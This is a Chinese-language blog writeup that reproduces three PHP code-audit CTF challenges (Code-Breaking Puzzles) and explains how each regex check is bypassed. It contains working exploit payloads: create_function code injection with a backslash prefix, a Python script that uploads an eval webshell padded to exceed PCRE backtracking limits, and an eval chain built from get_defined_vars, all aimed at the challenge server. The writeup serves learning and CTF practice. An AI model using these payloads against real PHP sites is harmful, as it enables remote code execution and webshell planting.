



# 复现 Code-Breaking Puzzles 记录

原创

观樂。  于 2019-01-11 22:29:27 发布  703  收藏

文章标签: [Code-Breaking Puzzle Writeup php Code-Breaking](#) [代码审计](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/Opt\\_98/article/details/86321733](https://blog.csdn.net/Opt_98/article/details/86321733)

版权

题目地址: [Code-Breaking Puzzles](#)

当时一道题也没做出来, 然后12月初的时候看着其他大佬们的Writeup复现了一波, 但也没写Writeup, 于是这一拖再拖, 成功地拖过了一年, 希望在今年开个好头, 而且p牛的环境还没关(感谢p牛!), 还有得救, 趁机把它补上记录一下。

## easy - function

```
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}
```

当时看了这道题，发现也就是传入的GET请求参数action中含有字母数字及下划线其中一个，就能调用下面的show\_source函数了，然而这也并没有什么用，查了下show\_source原来就是一个对文件进行语法高亮显示的函数，无语...说明解题点应该就不是这个地方，可能是要跳过这个if进到else里面，然后就卡住了也没继续想下去了，就放弃了，然后又去大概地看了下其它的题，然而一道也没搞出来...所以最后就坐等大佬们的Writeup了...

后面看了大佬们的Writeup，发现确实是要绕过if，然后对第二个参数arg就可以控制了，就可以任意函数调用了，然后就需要找一个字符来绕过正则，还不能影响函数的调用，能绕过这个正则的字符倒是挺多的，主要是还要不能影响后面的函数，所以就fuzz跑一下：

**Intruder attack 1**

Attack Save Columns

Results Target Positions Payloads Options

Filter: Showing all items

Request	Payload	Status	Error	Timeout	Length	Comment
60	\	200	<input type="checkbox"/>	<input type="checkbox"/>	220	
1	!	200	<input type="checkbox"/>	<input type="checkbox"/>	418	
4	\$	200	<input type="checkbox"/>	<input type="checkbox"/>	418	
5	%	200	<input type="checkbox"/>	<input type="checkbox"/>	418	
7	.	200	<input type="checkbox"/>	<input type="checkbox"/>	418	
8	(	200	<input type="checkbox"/>	<input type="checkbox"/>	418	
9	)	200	<input type="checkbox"/>	<input type="checkbox"/>	418	
10	*	200	<input type="checkbox"/>	<input type="checkbox"/>	418	
11	+	200	<input type="checkbox"/>	<input type="checkbox"/>	418	
12	,	200	<input type="checkbox"/>	<input type="checkbox"/>	418	

Request Response

Raw Headers Hex

```

HTTP/1.1 200 OK
Date: Tue, 08 Jan 2019 14:47:18 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.2.12
Content-Length: 27
Connection: close
Content-Type: text/html; charset=utf-8

string(0) ""
string(1) "1"
    
```

[https://blog.csdn.net/Opt\\_98](https://blog.csdn.net/Opt_98)

这里就能看到\*\*\(%5c)这个字符就可以达到上面的要求，参数也正常显示了还没报错，那么问题来了，为什么把\(%5c)\*\*反斜杠这个字符加到函数名之前不影响正常调用函数呢？具体原因p牛也给出了解释：

php里默认命名空间是\，所有原生函数和类都在这个命名空间中。普通调用一个函数，如果直接写函数名function\_name()调用，调用的时候其实相当于写了一个相对路径；而如果写\function\_name()这样调用函数，则其实是写了一个绝对路径。如果你在其他namespace里调用系统类，就必须写绝对路径这种写法。

绕过了正则我们就可以找函数来控制第二个参数了，看了师傅们的Writeup后发现师傅们果然见多识广，居然发现了 `create_function` 这个函数可以进行代码注入，所以还是要熟悉php及其一些常见的函数漏洞，而且p牛在题目上也给出了提示...

大佬们的对 `create_function` 函数的解析：

[\[科普向\] 解析create\\_function\(\) && 复现wp](#)

[PHP create\\_function\(\)代码注入](#)

`create_function` 函数的第一个参数是传入的参数，第二个参数是函数的内容。简单来说这个 `create_function` 函数可以对第二个参数进行闭合然后跳出该函数，从而导致在这个函数后可以进行任意代码执行，造成了漏洞，所以在php7.2以后的版本中PHP手册 - `create_function`已被弃用，官方也不鼓励用此函数。

所以最后的payload:

用[PHP手册 - scandir](#)函数查看文件目录:

```
http://51.158.75.42:8087/?action=%5ccreate_function&arg=1;}var_dump(scandir("../"));/*
```

← → ↻ ⬆ ① 不安全 | 51.158.75.42:8087/?action=%5ccreate\_function&arg=1;}var\_dump(scandir("../"));/\*

**Deprecated:** Function `create_function()` is deprecated in `/var/www/html/index.php` on line 8

**Warning:** Unterminated comment starting line 1 in `/var/www/html/index.php(8)` : runtime-created function on line 1  
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(31) "flag\_h0w2execute\_arb1trary\_c0de" [3]=> string(4) "html" }

[https://blog.csdn.net/Opt\\_98](https://blog.csdn.net/Opt_98)

查看flag文件得到flag:

```
http://51.158.75.42:8087/?action=%5ccreate_function&arg=1;}var_dump(file_get_contents("%22../flag_h0w2execute_arb1trary_c0de%22"));/*
```

← → ↻ ⬆ ① 不安全 | 51.158.75.42:8087/?action=%5ccreate\_function&arg=1;}var\_dump(file\_get\_contents("../flag\_h0w2execute\_arb1trary\_c0de"));/\*

**Deprecated:** Function `create_function()` is deprecated in `/var/www/html/index.php` on line 8

**Warning:** Unterminated comment starting line 1 in `/var/www/html/index.php(8)` : runtime-created function on line 1  
string(38) "flag{03fdc0ee2fc464aac3c40ef0e20dcb5a}"

[https://blog.csdn.net/Opt\\_98](https://blog.csdn.net/Opt_98)

```

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
}

```

这题看样子是要上传php代码，还要让is\_php()这函数返回false才能跳过if，那么问题来了，`/<\?.*[(`;?>].*/is` 这个正则表达式能够匹配以`<?`开头，中间或结尾含有`( ` ; ? >`这五个字符其中任意一个的任意代码，但php一般都是用`;`(可加可不加结束符`?>`，参考：[PHP 手册 - PHP tags](#))来结尾，貌似有些情况也可以直接用结束符`?>`来结尾，所以这个正则表达式貌似能把任意的php代码给匹配得到的啊，如下图所示，这样就绕不过啊，真让人头大，建议放弃...

The screenshot shows a regex testing interface. On the left, the '正则表达式' (Regular Expression) field contains `/<\?.*[(`;?>].*/is`. Below it, the '测试文本' (Test Text) field contains a PHP snippet: `<?php echo '123'; ?>`. On the right, the '解释' (Explanation) section breaks down the regex: `<` is a literal character; `\?` is an escaped question mark; `.` matches any character; `[(`;?>]` is a character class containing backtick, semicolon, question mark, and greater-than; `*` is a quantifier for 0 or more; `/is` are flags for insensitive and single-line matching.

后面看了大佬们的Writeup后知道了这正则匹配存在回溯限制(见[PHP 手册 - Runtime Configuration](#))，回溯次数超过了它的限制(1000000次)就返回false，利用这点就可以上传shells了。

参考：

鸟哥的讲解：[深悉正则\(pcre\)最大回溯/递归限制](#)

p牛的Writeup：[PHP利用PCRE回溯次数限制绕过某些安全限制](#)

利用p牛写的poc就可以得到文件地址了：

```
import requests
from io import BytesIO

files = {
    'file': BytesIO(b'<?php eval($_GET[txt]);//' + b'a' * 1000000)
}

# print(files['file'].read())

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)
```

```
, 'Location': 'data/90ddb25f624856b796a28a0abf2050b1/4.php', 'Content-Length': '0', 'Keep-Alive': 'timeout=5, max=1000'
```

[https://blog.csdn.net/Opt\\_98](https://blog.csdn.net/Opt_98)

然后就同第一题那样就能拿到flag了：

```
← → ↻ ↗ ⓘ 不安全 | 51.158.75.42:8088/data/90ddb25f624856b796a28a0abf2050b1/4.php?txt=var_dump(scandir("../.."));
```

```
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(22) "flag_php7_2_1s_c0rrect" [3]=> string(4) "html" }
```

```
← → ↻ ↗ ⓘ 不安全 | 51.158.75.42:8088/data/90ddb25f624856b796a28a0abf2050b1/4.php?txt=var_dump(file_get_contents("../..flag_php7_2_1s_c0rrect"));
```

```
string(38) "flag{216728a834fb4c1e0bc6893e135f436e}"
```

## easy - phplimit

```
<?php
if('; ' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}
```

这道题看着代码挺短，但看到 `(?R)` 还有点迷，查了下发现这是正则匹配里的递归模式，下面是递归模式的详解：

鸟哥的讲解：[PHP正则之递归匹配](#)

[PHP 手册 - 递归模式](#)

简单来说就是当匹配到 `(?R)` 的时候又继续从头开始匹配，那么这道题的 `/[^\W]+\((?R)?\)/` 这个正则表达式开始是 `[^\W]` 能匹配任意字母、数字或下划线(`_`)，也就相当于 `[a-zA-Z0-9_]`，后面的 `\(` 就匹配 `(`，然后到 `(?R)` 开始从头匹配，又从 `[^\W]` 开始匹配，如果匹配不到就往后匹配，`\)` 就匹配 `)`，所以这个正则表达式相当于匹配不带参数的函数，也可以是以不带参数的函数为参数的函数，类似 `a(b(c()))` 这样的就可以匹配得到。

但这道题是将传入的GET请求参数code进行正则匹配后将匹配到的替换为空（PHP手册 - preg\_replace），将替换后得到的结果与';'作对比，如果完全相同则执行传入的代码，所以如果要读取文件路径这就是个难点，毕竟要传入不能带参数的函数才能够执行...

看了师傅们的Writeup后知道了 `get_defined_vars`（PHP手册 - get\_defined\_vars）这个函数可以获取全局所有的变量，那我们打印出来看下：

```
← → ↺ ⌂ ① 不安全 | 51.158.75.42:8084/?code=var_dump(get_defined_vars()); ☆  
array(4) { ["_GET"] => array(1) { ["code"] => string(29) "var_dump(get_defined_vars());" } ["_POST"] => array(0) {} ["_COOKIE"] => array(0) {} ["_FILES"] => array(0) {} }
```

这里就可以看到GET的第一个值为我们刚传进去的code参数，那我们再传一个参数看看：

```
← → ↺ ⌂ ① 不安全 | 51.158.75.42:8084/?code=var_dump(get_defined_vars());&a=var_dump(scandir("../"));  
array(4) { ["_GET"] => array(2) { ["code"] => string(29) "var_dump(get_defined_vars());" ["a"] => string(25) "var_dump(scandir("../"));" } ["_POST"] => array(0) {} }
```

参数a也传进去了，所以在这里我们可以用current或者reset函数都可以获取数组的第一个元素的值：

```
← → ↺ ⌂ ① 不安全 | 51.158.75.42:8084/?code=var_dump(current(get_defined_vars()));&a=var_dump(scandir("../"));  
array(2) { ["code"] => string(38) "var_dump(current(get_defined_vars()));" ["a"] => string(25) "var_dump(scandir("../"));" }
```

接下来就可以用next函数来获取该数组的下一个（也就是第二个）元素的值：

```
← → ↺ ⌂ ① 不安全 | 51.158.75.42:8084/?code=var_dump(next(current(get_defined_vars())));&a=var_dump(scandir("../"));  
string(25) "var_dump(scandir("../"));"
```

这样，执行该函数就能得到文件路径及flag了：

```
← → ↺ ⌂ ① 不安全 | 51.158.75.42:8084/?code=eval(next(current(get_defined_vars())));&a=var_dump(scandir("../"));  
array(4) { [0] => string(1) "." [1] => string(2) ".." [2] => string(14) "flag_php4ss" [3] => string(4) "html" }
```

```
← → ↺ ⌂ ① 不安全 | 51.158.75.42:8084/?code=eval(next(current(get_defined_vars())));&a=var_dump(file_get_contents("../flag_php4ss"));  
string(38) "flag{e86963ba34687d269b9faf526ce68cd7}"
```

差不多了，那就先到这吧...

**To be continued?**

...

**Maybe...**

复现的时候参考了以下各位师傅们的Writeup:

l3m0n: [code-breaking writeup](#)

f1sh: [Code-Breaking Puzzles做题记录](#)

酉酉囧: [代码审计CODE-BREAKING PUZZLES学习记录](#)

Kingkk: [Code-Breaking Puzzles 题解&学习篇](#)

LoRexxar: [Code Breaking挑战赛 Writeup](#)

By七友: [Code-Breaking Puzzles做题记录](#)

Blacsheep: [ph师傅的代码审计星球](#)

fnmsd: [Code-Breaking Puzzles 做题记录](#)

eustiar: [代码审计知识星球](#)